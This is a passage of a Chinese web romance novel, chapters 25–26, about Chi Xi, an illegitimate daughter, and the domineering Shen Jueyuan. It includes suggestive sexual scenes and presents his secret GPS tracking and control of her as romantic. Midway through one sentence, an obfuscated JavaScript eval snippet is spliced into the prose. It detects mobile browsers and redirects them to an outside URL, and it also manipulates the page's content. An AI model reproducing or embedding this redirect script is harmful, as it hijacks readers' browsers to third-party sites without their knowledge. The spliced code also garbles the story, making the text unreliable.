也是因为这句话,让池溪对这种场面有些应激,每次都是能避开就尽量避开。 想到这里,她更加局促,担心沈决远会像父亲那样嫌弃她给自己丢脸。 她觉得这不是自己的错,这本来就不是属于她的世界,她也从未奢望过要挤进这个不属于自己的世界。 她是被强行带进来的。池溪知道自己总有一天会从这里离开,所以她没有适应这里的必要。 但..只要想到沈决远露出和以往一样挑剔厌恶的目光,她就感到无比挫败。 沈决远的冷淡总是像一根根尖锐的刺一样。 “我知道你不喜欢这种场合,但稍微忍耐一下。”他亲自替她倒了杯热饮,“今天的合作很重要。” 池溪显然没想到他不仅注意到她的不适,甚至还主动和她解释。 “呃...那个....” 杯子里的热可可散发着浓郁的香味,与其他人杯中的酒形成了强烈对比。不是只有沈决远身边有女伴,其他人也带了,但她们面前同样也是酒。 这样的区别对待让池溪觉得自己被当成了孩子,她其实想主动将热可可换成酒。 通过沈决远对待她的态度,在座的其他人基本上能猜出一些。 虽然算不上多热情和多体贴,但至少是有些分量的。 从主动将自己的餐具分给她这点就可以看出。 于是他们笑着询问他:“这位是?” 池溪还是第一次听到如此标准的老钱笑。 沈决远没有回答,而是将问题推到了池溪身上:“他问你我们是什么关系。” 池溪想,他让自己回答,肯定是认为这种白痴问题没有回答的必要。 池溪沉默片刻:“我...我是沈董公司里的员工。” 沈决远眼底的温和缓慢消失,取而代之的是一种说不清的锋利。 或许是这个露天的座位,灯光无法照顾到每一个角落,又或者,他刚好坐在背光处。他的表情难辨喜怒,那双深邃眼眸如同覆盖阴影一般晦暗。 一丝不苟的西装下,他的宽肩宛如一堵可以抵御一切危险的城墙。 “对。”男人绷着下颚线淡笑,喝了一口威士忌,里面的一块冰进入他的口中,被他从容不迫地咬碎,“她是我的助理。” 他们还是第一次看到助理可以坐在沈决远的身边,用他的餐具吃饭。 和他共事久的人素来清楚他的习惯,他从不用外面的餐具,用餐也需要单独准备。 这不仅源于他的洁癖。 那些人深知,他骨子里是瞧不起自己的。就像人不会与狗共食一样。 明眼人都能看出池溪的身份不止助理这么简单,于是对待她的态度周到妥帖。 甚至有主动和她打招呼的。这对常受冷落的池溪来说简直受宠若惊,她一时有些不知所措,想着应该以最真诚的态度对待别人的善意,便露出一个灿烂的笑来:“你好,我的确是中国人,我的中文名叫池溪,你可以叫我小河。” “小河?”对方习惯性地露出一个绅士的笑来,“很可爱的小名,看上去它似乎有什么典故?” “对的!”池溪点头,刚要和他讲解。 旁边的红酒被打翻。众人都安静下来。 侍应生过来收拾,罪魁祸首慢条斯理地拿着餐巾擦拭手指,同时乜了一眼正在和池溪热情攀谈的男人。 对方显然也早已愣住。 他之所以与这位年轻的亚洲女性主动攀谈,并不是因为对她感兴趣,而是为了借她来讨好她身旁的那位男人。却不想因此惹怒了对方。 他脸色有些惨白,错开目光,紧张畏惧到不敢再说话。 池溪纳闷,这人怎么突然不理她了。 但根据她这段时间以来的观察,这些有钱人总是喜欢时不时抽一下风。 - 她是真的饿了,吃完了一整盘意面,最后还吃了半份牛排。 从她过来到现在,她几乎没见沈决远动过筷。他全程动过的除了桌上那只优雅的高脚杯,就是她的手。 此刻她放在桌下的手被他握在手中。 在场只有她一个中国人,沈决远只算半个。 看其他人的长相,南美和北欧的应该都有。 他们用英文在交谈,池溪勉强够用的英文只能依稀分辨出其中几个词汇的意思。 更何况涉及许许多多的专业术语。 她感到无聊。就像小的时候陪妈妈去参加她的同学聚会那样,那些大人除了在开始时会逗逗她之后,其余时间都在忙着吃饭聊天。 池溪只能在吃饱之后,安静地坐在沙发上,等待他们结束。 现在也是如此。 但沈决远并没有像妈妈那样,在她吃饱后让她自己去外面玩。 他全程牵着她的手,甚至配合她的幼稚,用手指在她掌心写着字。 在谈工作的同时,以这种方式陪她聊天。 “吃饱了吗?” 她用同样的方式在他掌心写下:“饱了。” “几分饱?” 她想了想:“八分。” 坐在他对面的那个男人说了些什么,池溪听懂了一点,他们似乎聊到了更加关键的地方。她听到了收容所,也听到了周边和地下这样的词汇。 似乎在那个地方的地下,有着什么东西。 难道是尸体?池溪惊悚地想道。但她很快打消了这个诡异的想法,显然不是。 她根本就想不明白,也听不明白。 对方说完自己的想法之后,沈决远并没有立刻开口。很显然,那些人都在等待着他的发言。 看上去,他似乎是这里拥有最高发言权的人。 男人思考起其中利弊,另一只手则继续在她掌心写字。 “那就好,晚上回去还可以吃得下其他东西。” 池溪好奇——“什么东西,宵夜吗” 男人没有回答她,而是直接将她的手放在了她今晚的‘宵夜’上。 25.第二十五章 沈决远似乎喝了点酒,或许是心情不错的原因。 刚回到家,他就弯下腰靠在她的肩上仔细闻了闻:“没有喷香水吗?” “喷了....”他说话时的热气喷到她的颈上,池溪感受到他身上的雄性荷尔蒙在此刻被无限放大了一样,弄得她也开始醉醺醺的。 沈决远摇头:“我说的是你自己的。” 池溪身上喷的是做完全身皮肤管理之后,Nancy拿来的香水。 她被沈决远抱着,根本没有挣扎的余地,更何况,她也不舍得挣扎。 她靠在他的怀里,被他宽厚的肩背遮的严丝合缝,他高大的身形让她感到前所未有的安全感,就算世界末日来了,她也不用担心,只需要躲在他的怀里就可以平安躲过这次世界末日。 然而这位可以为她抵御一切的男人此时却靠近她的耳边吐露心声:“好想在这里乾你,” “什么?”她以为是自己听错了,惊到瞪大眼睛。 男人一手解领带,另一只手扶着她的腰。 □*□ “不...会被人看到。” “没有我的允许,没人敢进来的,放心。” 池溪没见过这样的沈决远,强势的掌控中带着一点温和。 给人的感觉明明是危险的,但因为他绅士的风度和优雅的气质,让人无法对他产生防备。 就好像,即使现在不顾她的意愿强行脱下她的衣服,池溪也会觉得,这很正常。 有些事情经由他做出来,反而显得顺理成章,本该如此。 □*□ “难受吗?”他开口关心。 池溪捂着嘴巴,摇头。 他笑了:“那舒服吗?” 池溪说不出话,也不好意思说。 她只能忍耐到结束,生怕被庄园内的佣人听到。 尤其是Nancy,她不希望再次从她口中听到更加可怕的言论了。 这里的教堂到了午夜会响起钟声,池溪已经不知道听到几声钟响了。 “我上次听到你和司桥说,你打算去考研。” 沈决远的话让池溪微微一愣,她努力回想自己什么时候和沈司桥说过这些话。 想起来了,那次是在沈司桥当着他的朋友逗弄她,干脆毕业之后就嫁给他。 池溪说自己大学毕业了还会继续考研,不想这么早结婚。 当时沈决远刚好路过,那群玩世不恭的小辈看到他立刻变得老实。 包括肆意妄为的沈司桥。 每一个都局促地站在那里,不知道该如何称呼他才不显冒犯。 能让这群二世祖如此惧怕的人,池溪还是第一次见到。 最后还是沈司桥鼓起勇气喊了一声哥。 男人并没有过多理会,只点了点头,高大的身形遮蔽在裁剪顶级的西装之中,气场磅礴如同一座无法跨过的高山。他经过时投下的阴影落在他们每一个人的身上,有种无形的压迫感。 成熟男性和年轻男生的区别在此刻被展现的淋漓尽致。那是一种全方面的压制,再耀眼的人此刻因为他的出现也变得暗淡无光。 池溪丝毫不意外,那天的聚会,和她一样对这位高大威风的男性感到动心的女生,显然不止她一个。 当时的池溪默默看着他离开的背影,无论如何也没想到,自己竟然会在几个月后,和他拥有如此亲密的交集。 更没想到,他居然记住了她当时随口说的那句话。 “嗯...是有这个打算。”她坐在他的腿上,结束之后沈决远就带她一同进了书房。 “院校专业定好了?” 池溪有一种错觉,沈决远似乎已经将她当成自己的所有物。 无论是为她规划未来,还是关心她的身体。 难道还在走剧情?但这次似乎也太久了一点:“还没有...只是在考虑当中。” “既然没有想好,那就跟我回北欧。” 池溪听到这个立刻被吓到:“北欧...会很难,我什么都没有准备。” 沈决远说:“没关系,我会替你安排好。” 池溪此刻正在不断头脑风暴中,她实在记不起这究竟是哪部漫画里的内容了。她看过的漫画有哪个女主如此重视学业吗。好像无论哪部漫画都没有在这方面着重刻画吧。 基本上开篇就直奔主题开干。 偶尔有一些与学习有关的部分,还是为了满足一些小众性癖,女主被g的同时,还得完成男主布置给她的作业。 没办法,不清楚剧情的她只能自行发挥了。 “可我...成绩也不够。” “就算你是弱智也没关系。” 池溪沉默了,弱智...也不至于。 “我对你只有一个要求。”沈决远甚至可以通过她细微的缩肩动作,得知她此刻有点冷,他将室内温度调高几度,另一只手去拿身旁的羊绒毛毯,替她裹在身上,“我希望你能对我诚实,可以做到吗?” 池溪想,原来他对于自己在意的人可以做到如此细心。 但她知道,这些不是因为她,而是因为那个娃娃。 如果没有那个娃娃,沈决远这样傲慢高贵的人,他仍旧无法注意到她的存在。 她也不可能在他眼中占据一席之地。哪怕只是很小很小的面积。 沈决远厌烦她,不止是厌烦她无法见光的身份,还有她整个人。 他甚至连她喜欢的香水都要否定。 廉价,刺鼻。她知道,这样的话同样也适用于自己身上。 在沈决远眼中,私生女的她是廉价的,总是阴魂不散出现在他周围的自己,是刺鼻碍眼的。 该死的挪威人,不是都说极夜容易抑郁。他在那里生活了这么久,为什么心理还是如此健康,不仅看不到半点抑郁症状,反而拥有可以让别人抑郁的超高压震慑力。 然而现在,这位高高在上,傲慢冷淡的上位者,显然也开始逐渐忘本。 他以温和的语气循循善诱,对着这位曾被他‘他的未婚妻子不可能是一位私生女’来拒绝的私生女,一步步引导,让她说出自己想听的话。 声音温和儒雅,是池溪这个年纪和阅历的年轻女孩根本就没有接触甚至遇见过的异性。 比父亲更加稳重可靠,那种强大的掌控感与安全感并存,很容易让人上头迷失理智。 好友总说池溪运气很好,事实上,她是一个非常容易被‘骗走’的女孩。 之所以说她运气好,因为她长这么大碰到的追求者几乎都是同龄男生。 他们追求女生的方式除了走着走着突然来一个空中投篮,就是在她经过时莫名其妙的大笑,以此来吸引心仪女生的注意。 对于很早就开始‘恋父情节’的池溪来说,她无法被这些幼稚青涩的异性给吸引。 或许是她的好运buff消失了。 否则为什么会让一直幸运的她遇到沈决远。 刚出新手村的她,碰到的第一个年上就是如此顶级的爹系,就算池溪沉溺其中也是人之常情。 “诚实...具体指的哪一方面?”她艰难地问出口,心脏早就快要跳出嗓子眼。 “我没有骗过你....” 他露出满意的微笑:“很好。你想要什么?” 池溪愣了一下:“什么?” “奖励式教育能提高孩子的积极性,一味地施压只会造成孩子的逆反心理。好孩子,因为你很乖巧,所以我会给你你想要的奖励。”他告诉她。 池溪想,他未来一定会是一个好爸爸。 虽然她的童年没有父亲,但她见过太多独断独行的长辈,他们无法容忍自己的权威性被触犯,一旦有人指出他们的错误,就会立刻跳脚,以暴怒的情绪让孩子们闭上嘴。 池溪曾经亲眼看到一个同学因为超过他父亲规定的玩游戏时间,在北方的冬天被罚只穿睡衣在走廊外站了一整晚。 次日就因为重感冒被送到医院。 池溪想,某些男人似乎在有了孩子以后,终于体会到权力的滋味,于是他们建造出自满足自己掌控欲的规则,一旦规则被打破,他们就会暴跳如雷,因为他们难得建立起的自尊心也一同被打破了。 沈决远显然不会这样。如果他当了父亲,他一定不会以‘上级’的姿态来命令自己的孩子。 他一定会耐心地倾听他孩子的发言,也会温和地指正她话里的错误。在她犯错时,他不会突然发脾气,更不会大声的吼叫与指责,他会告诉她:“宝宝,这样做不对。你不仅会伤害到自己,同样也会伤害到别人。” 毫无疑问,他一定会是一个好父亲。 那声dad几乎盘旋在她的喉咙口,即将喊出来。 但她还是忍住了。 她只是希望沈决远是她的父亲,她只是羡慕他未来的孩子。 但他不是,所以她不能这么叫。即使不久前她在床上已经叫了无数声。他也在不断的应答,夸她是好孩子,夸她sweet baby。 更何况,她的父亲还在世,那个虚荣卑劣没有责任心的男人才是她的父亲。 而不是面前这位。 “怎么了,一直用这种渴望的眼神看着我。”接触久了之后,池溪发现沈决远偶尔也会有‘接地气’的一面,他也不是永远高高在上,他也会用那种略带调侃的语气和她开玩笑,“想要什么,上面还是下面?” 池溪的脸瞬间就红了:“不是你想的那样,我只是在想...” 在想他为什么如此娴熟,好像他养过孩子一样。 池溪在心里泛起嘀咕。 沈决远体贴地主动为她解惑:“我的确养过,那是一头花豹和美洲黑熊,它们出生不久就来到我身边,被我亲手养大。下次回北欧,让你见见。 “什...什么?”池溪吓了两跳。 一是没想到他居然可以如此精准的猜到她心中所想,二是她认为是自己听错了,或者是他养的两条小狗分别取名为花豹和美洲黑熊。 他的腕表还佩戴在她的手上,那块黑金的男士腕表,表盘下方刻着独一无二的编号,彰显其世界上仅此一只的独特性。 里面配备的卫星定位系统,并非公共卫星,而是他私人名下的专属卫星组。 只要戴着这块腕表,她的定位就会实时更新到他的手机上。 在沈决远看来,她已经是自己的所有物了。 他是一个做事果断的人,他没有青少年的欲拒还迎和左右摇摆。 在得知自己的情愫与心意的瞬间,他就立刻接受了这份关系。他不需要犹豫,也不需要计较和她在一起的利弊。 或许她的确有些普通,无论是哪方面。 但在沈决远看来,从他对她产生感情的那个瞬间开始,她就是独一无二的那一个。 “不用担心,它们很乖巧。和你一样。”沈决远将她的左手从腿上拿开,放在自己的掌心,看了看她的无名指,这里似乎缺点什么。 譬如戒指。 但现在就求婚的话好像太快了。 戒指需要单独定制,婚纱也是,听说中国有下聘的礼节,需要三书六礼,这些也需要提前准备。 池溪其实有点想从沈决远的腿上下去了,她觉得他的某处又有逐渐苏醒的迹象。即使他面上仍旧优雅淡然。 可她感受到野性勃勃的生机,昨夜被迫通宵的恐惧渐渐上来了。 她觉得漫画里果然是假的,连续不间断,女主竟然还有力气说爽,要继续。 “我有点困了。”她挠了挠头,想以此当成借口,从他身上下去。 沈决远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113275|194198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也很体贴:“那就靠在我肩上睡吧。” “啊?”她愣住。 沈决远指了指桌上的电脑:“我还有一些工作需要处理,处理完了才能去床上陪你。” “那我可以自己.....” 他笑容儒雅地打断她:“睡吧。我会戴耳机。” 温柔究竟是怎么和强势的掌控同时存在的,池溪没办法弄明白。 同时她也没办法从他的肩上离开,他很擅长通过三言两语让她臣服,然后乖乖听他的话。 像是某种调教。 池溪如此想道,最后还是靠在他的肩上睡着了。 离奇的是,他的宽肩与宽阔柔韧的怀抱甚至让她睡的比平时还要香甜,还要沉。 池溪甚至连以往的春梦也没有再做。 或许是因为梦境的主人公此时就在她的身边。 她醒来的时候,身体是侧躺着,后背缩在他的怀里,头枕在男人结实的手臂上。 她睡觉不算老实,总是会产生落枕的惨剧。 或许是发现了这一点,男人直接用手臂来充当她的枕头。 被子下的身体在不断发热,池溪抿了抿唇,想要离开,但探出去的那条腿又被重新捞回来。那只宽大的手此时稍微用力,将她两条腿再次并紧。 身后的男人不紧不慢的继续刚才的行为:“是我的动作吵醒你了吗?” 她能够感受到贴在她后背的胸肌,在睡袍的遮挡也仍旧清晰。无论是形状还是肌肉的硬度。 “没有,我是自己醒的....” 她想,沈决远肯定很注意自己的力道和动作幅度。 否则以它可怕的存在感,她不可能不被弄醒。 “今天就要回去了,你还有什么想逛的地方吗?如果有,我们可以再多留几天。”他用手圈住她的腰,手指搭放在她的小腹上,沿着那层轮廓暧昧地抚摸,“我的工作已经忙完了,接下来可以好好陪你。” 池溪没忍住好奇,低下头看了一眼,不看还好,这一眼让她瞬间涨红了脸。成为她未来数十年都无法忘却的一幕。 她一直因为自己的大腿而感到自卑,小的时候被嘲笑过腿粗。所以长大后总是会穿长裙遮住。虽然好友总是夸赞她的腿型,是那种酒杯腿,虽然大腿饱满,但线条流畅,脚踝精致。 此刻有了参照物的对比...她第一次认为自己的大腿‘纤细’ “不不不不...不用了。”她疯狂拒绝。一面希望这个剧情赶紧结束,一面居然又有些不舍。 显然他早就猜到她的回答,眼下也并不意外。 他有时候会故意碰到某个地方,池溪每到那个时候就会忍不住轻哼出声。 到了最后,池溪甚至希望他干脆直接... 可惜沈决远并没有这么做。他甚至算好了时间,十二点半准时结束,不管自己有没有尽兴。 池溪躺在床上看到衣着整齐的男人,不由得感慨,成功人士都这样吗。 不仅擅长控制自己的情绪,连生理相关也可以。 这样的人太可怕了,理性地可怕。 - 回到沈宅之后,池溪暗自松了一口气。 她在离开那座小岛前特地选了一个非常隐蔽的地方,将娃娃留在了那里。 既然那座岛是沈决远的私有物,就不用担心和他长相一致的娃娃会遭受破坏。并且她也算是以这种方式将那个娃娃还给了她。 想起这些天来的经历,她虽然心里有些怅然,但至少了结了她的一桩心事。 她终于不用担心新闻里的事情发生在自己身上了。现在只剩找个好时机跑路了。 很快就迎来了第二个好消息,父亲身上虽然查出了点不干净的地方,但交了罚款之后被他的岳父亲自保释出来。 今天吃饭的时候,沈予亨告诉池溪这个消息时,松了很长一口气:“你父亲没事了,这些天可能会举办一个洗尘宴,到时候你回一趟周家吧。” 听到沈伯父的话,池溪只是乖巧点头:“好的。” 郑伯母终于松开了她郁结多日的眉头,笑着拿出一张照片给池溪看:“还有这个,小溪觉得他怎么样?” 池溪接过照片看了一眼。照片中的人穿着一身黑色冲锋衣,站在高程碑前合影,身材和长相看上去都不错。身高应该有一米八五,五官周正,虽然戴着眼镜,但给人的感觉很斯文。 郑伯母笑着告诉她:“这是我从一堆男孩子中间特意为你挑选的。” 刀叉被重重放下,那盘三分熟的牛排此时还在向外渗透肌红蛋白。 男人的语气平淡:“我说过,不需要再为她介绍任何相亲对象。” 郑娴记得沈决远上次的提醒,此时立刻赔笑解释:“这次是她父亲亲自拜托的我,对方是他父亲多年好友的次子,在美留学多年,这次回国,刚好也有联姻的意向。一表人才,虽然是庶出,但很优秀。加上二人同龄,想必有很多共同话题可聊。” 池溪听懂了‘庶出’的意思。看来对方和她的身份定位相同。 只不过他比自己更加幸运一点,他是儿子,而他父亲不仅不是入赘,甚至是家中地位最高的掌权者,所以他可以光明正大地住进那个家里。 不过同样身份的家庭显然不可能同意女儿嫁给他,于是只能向下择选。 池溪显然是个还算不错的选择。 郑娴让池溪放心:“他父亲早就做好了财产切割,他大哥有的,他也不会少。” 听上去似乎是个非常诱人的相亲对象。对池溪来说完全就是高攀。 她刚要开口,却先被另一道声音给打断。 “不必多此一举。”沈决远脸色稍显阴沉,此刻对于长辈的虚假礼貌也荡然无存。他拿起餐巾擦了擦手,眼中的傲慢尽显,“她会和我结婚。” 26.第二十六章 郑娴正拿着刀叉切食盘中的芦笋,她吃素有些日子了,最近还给华道寺供了香火,希望自己的儿子能够早日回到她的身边。 他远在法国,连个手机都没有,不知道过的怎么样。 她只能安慰自己,好歹决远也算是他的兄长,就算他生性冷淡,多少也应该顾念一下手足情谊,不会对他怎么样。 此时听到他的话,脑部神经仿佛无法承担这个信息含量过大的发言,悉数断裂。 餐刀重重地划过餐盘,发出一阵刺耳的锐响。 她难得失态,眼睛瞪圆了:“什...什么?” 就连一向冷静的沈予亨也情绪激动:“你说你要和谁结婚?决远,你....” 男人从容不迫地打断他的发言:“如果您有空,就帮忙拟定一份邀请名单吧。” 他显然不打算听完对方要说的话。 他温和的强势在此刻化作一张无形的网,所有的人都被网在里面。 没人可以否决他的话,更没有可以反驳他的话。 整个家里气定神闲的显然只有沈决远一个。 池溪全程低着头,她能够感受到自己成为了话题的中心。 但是...别看她啊,她自己都不知道自己要结婚了。 她希望沈伯父能立出为人父的威严,声色严厉地反驳沈决远,并告诉他;“你不能和她结婚,她的身份只是一个不见光的私生女。” 无论说什么,她此刻都可以接受。 然后没人听到她在内心的哀求,沈伯父在沉默许久后,点了点头:“好.....” - 吃完饭后,池溪被带回了沈决远的房间。 她这次从岛上回来,佣人直接将她的行李箱送到了沈决远的房间。 男人洗完澡出来,从衣柜中取出衣服。这是佣人提前一天熨烫好放进来的。方便他随时出门。 “我们结婚的事情,你亲自去和司桥说吧。” 池溪因为前半句顿了片刻,但还是疑惑后半句:“为什么要告诉他。” “你们不是朋友吗。”他站在床边穿衣服,或许是注意到池溪的视线,他非常慷慨地将身体转过来。 池溪亲眼看着衬衫逐渐遮蔽住他强壮结实的身体,遒劲内收的腰线和饱满的胸大肌让人看了口渴。 典雅高贵的绅士,却拥有如此色情性感的身材,实在是... 有够骚的。 胸长这么大不就是让人埋的吗。 池溪在心里一阵头脑风暴,表现出来的还是那副窝囊乖巧的样子。 男人装作没看懂她此刻的心思,从容不迫地将衬衫纽扣嵌入扣眼之中。 “我会让教授将他的手机暂时还给他,你们可以顺便叙叙旧。如果他想回来参加婚礼,我可以安排。” 叙旧... 他们有什么叙旧的? 池溪明白了,他是沈决远的弟弟,兄长结婚,作为弟弟肯定是要来参加婚礼的。 男人那双深邃的眼眸一直注视着她,不错过她任何一个情绪转变。 显然早就看穿她所有想法,男人笑容温和,身上的优雅气质都快被熟男味给腌透了,让人着迷:“我只是不希望你们之间存在遗憾,我不至于心胸狭隘到连这种事情都介意。” “我和他什么事情都没有!”池溪像踩到鸡屎一样情绪激动,急忙反驳,生怕和沈司桥沾上半点关系。 “既然这样,那就按照你的想法来吧。”沈决远体贴的遂了她的心意,唇角却微不可察地向上扬了扬。 池溪还坐在床上沉思,沈决远已经穿戴整理,他弯下腰,来到她身旁。 池溪看着出现在自己面前的那张脸,帅的她心脏骤停。 简直是造物主最完美的作品,人类的骨相和皮相居然可以同时做到这么完美。 沈决远见她看呆了,无声轻笑。 “goodbye kiss.”他说。 池溪抿了抿唇,最后还是在他脸侧留下一个蜻蜓点水般的吻。 沈决远唇角微挑,单手抚着她的后脑:“good girl,再休息一会吧。” 她坐起身:“我还得去公司,今天需要把...” 沈决远的手从她的后脑放到肩上,将她轻轻按回床上重新躺下:“身体要紧,工作没那么重要。” 难以相信,有一天居然能从沈决远的口中听到他和自己说出这样一句话来。 如果是两个月前的池溪,她会认为是自己见鬼了。 这太不同寻常了,沈决远是那种哪怕和她发生了关系,下一秒也能迅速进入到上下级的工作状态之中。 他的公私分明到了一种近乎冷血的程度,包括沈伯父之前被董事会集体‘弹劾’,他也没有为沈伯父说过一句话。因为他认为‘弹劾’的理由是合理的。 蹊跷,太蹊跷了。 沈决远走后池溪立刻从床上下来,拿出手机登录论坛,点开阅读历史,一篇一篇地找,试图找出符合这个剧情的漫画。 她一篇篇点开,又一篇篇退出。 这个不是,这个也是,这个虽然有点符合...但订婚只是男女主在床上的角色扮演,这一整本都是各种角色扮演,男女主不是扮成不伦恋的师生,就是需要脱掉衣服检查身体的医患。 池溪拿着手机沉思片刻,或许是这个? 现在的沈决远很有可能还沉浸在漫画相关的角色扮演之中。 她崩溃地抱头躺回床上,之前无论是办公室Play还是车震,甚至是直接在电车上,也只属于天知地知,他们二人知的状态。 现在呢,现在沈伯父和郑伯母都知道了。 他们会怎么想她?认为她不知好歹,主动勾引? 沈司桥那一次郑伯母就怀疑她心术不正主动勾引,这次更是火上浇油。 郑伯母和沈伯父一定会认为,他们好心收留照顾她,她却想要翻身当女主人。 最让她想不通的是娃娃都已经不在她的身边了,为什么还能起到作用。她甚至没办法换下一个绑定人。 其实现在换成沈司桥是最好的解决办法了。他被关在法国的学校,无论怎么受到娃娃的影响,也不用担心他会做出什么事情来。 池溪满脑子都是跑路。 这个娃娃太邪门了,她认为现在发生的一切都是她在遭受娃娃的反噬。 关于那位巨星被杀的案子至今没有被破获,她想上网查找相关新闻都没办法。 警方那边根本没有交代任何细节。只有那个娃娃被当成证物留了下来。 - 很显然,沈伯父并没有立刻将他们要结婚的消息告知其他人。看来在他的心里,他是不满池溪这个儿媳的。但又没办法去阻止或是让他的长子改变心意。 池溪想,自己曾经看过的那些高干文学,男主因为与女主身份的悬殊差异,为了家族事业不得不迎娶别人。 当时看时她感慨命运不公,对那种爱而不得的无能为力感同身受。 痛恨豪门规矩。 可是现在,她只觉得是男主无能。自己的事业需要靠婚姻来维持。 沈决远不仅可以决定自己的婚姻,他甚至可以决定他父亲的婚姻。 池溪丝毫不怀疑,如果沈决远开口让沈叔叔离婚,后者同样会照做。 真不知道谁是儿子谁是爹。池溪叹气,从平时的日常相处来看,沈伯父反倒是孝顺听话的那一个。 因为父亲成功被释放,池溪不得不回了一趟周家。 家里为他举办了洗尘宴会,几位妹妹穿着亲自飞去巴黎经过修改订做的高定礼服惊艳出席。 池溪穿的则是继母为她准备的过季款成衣。 其实沈决远安排的设计师提前来过,她带来的礼服是还没上过秀场的超高定,对方作为这个品牌的首席设计师,一向只出现在高端秀场和电视台的采访之中。 她拿着软尺亲切殷勤地称呼她为亲爱的:“您喜欢什么色系,我可以现场为您修改。” 池溪无法抵御她的热情,热衷于观看外娱八卦的她,有幸看过关于这位设计师的报道,据说性格傲慢,不止一次发生羞辱演员和模特的事情。 并且那些演员与模特都是圈内的超一线,属于一年十登世趋的人。 而现在,池溪无法将她与新闻上的傲慢设计师联系到一块。 “抱歉...我想我不需要这一切。”她拒绝了沈决远的好意,因为担心这件事会成为秋后算账的一道筹码。 现在从他那里获得的越多,未来遭受的报复一定也会更多。 池溪心里很明白。 于是现在,她穿着不起眼的成衣与她那些华贵优雅的弟弟妹妹们一起,显得格格不入。 她在那里只待了两个小时就回去了,即使父亲告诉她:“宴会结束后还有一场慈善晚会,你留下来,就当是多结交一些人脉。” 她能结交什么人脉呢,结交的意义又在哪里?多些人嘲弄她吗。 两个小时的舞会,她那几位妹妹用冷漠来霸凌她。池溪无论如何也没想到,大学都要毕业了,居然还能遭受团体的排挤。 她知道以她的身份出现在这里无比尴尬,可并非是她自愿来的。是周家和她父亲希望她来,因为需要她来维持那点并不存在的伟大父爱。 池溪穿着高跟鞋站在角落里,独自喝光了两杯白兰地,然后提前离开。 到家时,受那两杯白兰地影响,人已经烂醉如泥。 沈决远回来的时候已是深夜,他因为公事飞了一趟澳城,赌场里的茶点很受女孩子的欢迎,于是他特意让侍应生打包了一份。 原以为这个点她应该已经睡下了,但她房内的灯是开着的。 沈决远略微皱眉,这个点不休息还在看那些漫画? 他认为自己很有必要单独找个时间好好和她谈谈。 她在某些方面克制力几乎为0 沈决远让助理将打包的甜点取出,然后下了车。 红色薄底皮鞋踩在原木地板上,发出沉闷的脚步声,男人象征性地敲了敲门,无人应答。 他也没有站在原地等待,而是直接开门进去。 开门的瞬间,浓郁的酒气伴随着热浪一同涌了出来。 沈决远再次皱眉,眼底已有淡淡不满。 他不满她在明知自己酒量差的前提下,仍旧不懂节制。 他很不赞同池溪的一些生活习惯。 养孩子和养花一样,要有足够的耐心,需要定期修建花枝, 否则就会朝着不可控的方向生长。到了那时再纠正,会产生更加剧烈的生长痛。 沈决远早就给她找好了礼仪老师,她需要逐步修剪掉身上那些杂乱的花枝。 “把衣服换了再睡,”他走到床边,单手托着她的腰,另一只去松她腰上的缎带,“不难受吗?” 她喉咙发出轻哼,眼睛没有睁开,看来真是醉的不轻。沈决远不免有些头疼,究竟喝了多少。 不仅是她的父亲,她的母亲同样没有尽到应尽的职责。 池溪轻轻抽泣了一下,身上那件鱼骨裙被脱掉后,她舒服了不少。胸贴牢固地贴在胸前,没了托举,仍旧没有丝毫垂落的痕迹。 年轻总是有很多优点,这就是其中之一。 她的皮肤甚至比沈决远这个拥有白人基因的混血还要白上几分。 沈决远没有任何狎昵心思,只担心她受凉。 将被子拉过来盖在她的身上。 “难受。”她靠在他的肩上,声音哽咽,“非常难受。” 替她盖被子的手因为她的回答短暂停住,他将枕头放正,让她坐的更加舒服一些:“是出了什么意外吗?” 他知道她今天回了周家,参加她父亲的洗尘宴。 酒精放大了她的情绪。 很少有人会在她说难过之后,继续追问她发生了什么。就连妈妈也不会。 这种感觉让她更加委屈。她嚎啕大哭,抽泣声越来越大,甚至有好几次呼吸不过来。 沈决远只能让她半躺在自己身上:“不着急,慢慢说。发生什么了?” 她含糊不清地告状,他们是如何孤立自己,如何是吩咐她去收拾搞砸的酒杯,又是如何谈论她的学业,以及用那种调侃的语气互相和对方开玩笑:“你这次如果不喝完,池溪就是你老婆。” 对方往往都会嫌弃地反驳:“池溪是你老婆。” 池溪眼睛红肿,肩膀抽泣:“我什么都没有做,为什么要这么对我....” 随着她将这些话讲完,沈决远冷硬的眉骨此时不断下压,在眼下形成一道锋利的阴影,本就深邃的双眼,此时更是难辨喜怒。他的唇线绷的很直。眉头也逐渐拧紧。 最后整个脸色可以说是难看至极。如果池溪是醒着的,一定能够感受到他前所未有的可怕气场。 事实上,他并不是温柔长相。立体锋利的骨相和冷硬清晰的轮廓,就注定了这是一张与温柔绝缘的脸。只是他平时的绅士礼仪让他看上去优雅温和些罢了。 沈决远的下颚线收紧又放松。 他先温柔地对她进行情绪安抚:“没关系,先休息吧,睡醒就好了。” 她仍旧哭个不停:“我好想我妈妈......” 安抚她的左手稍作停顿,他眼底的情绪稍稍敛去,声音仍旧温和:“虽然你母亲已经过世了,但你还有我。” 男人强调的话唤醒她的记忆,对啊,妈妈已经过世了... 醉酒的池溪哭的更加难过,她拼命地抱紧沈决远:“那你是谁,你是谁呢......” 他反问她:“小河希望我是谁?” 她已经醉到说不清话了,甚至连记忆都开始混淆,不仅忘记自己的妈妈早就过世,甚至连自己几岁都不记得。 此刻的理智显然不足以支撑她去思考男人的问题,沉默片刻,她喊了一声:“爸爸和...妈妈?” “那我当小河的爸爸,也当小河的妈妈。好不好?” 她也拼命点头:“好!!好!!!” 池溪的记忆只停留在昨天晚上到家的那个瞬间,之后发生了什么她一无所知。 只知道睡醒之后已经是次日下午了,她身上那件让人无法呼吸的鱼骨裙已经脱掉了,换上了舒适的真丝睡衣。她以为宿醉后迎接她的会是剧烈的头疼,但她除了还有些头晕之外,并没有其他的不适。 她从床上起身,走到洗手间时,发现自己脸上的妆已经被卸掉了,对方甚至还贴心地给她做了全套护肤。 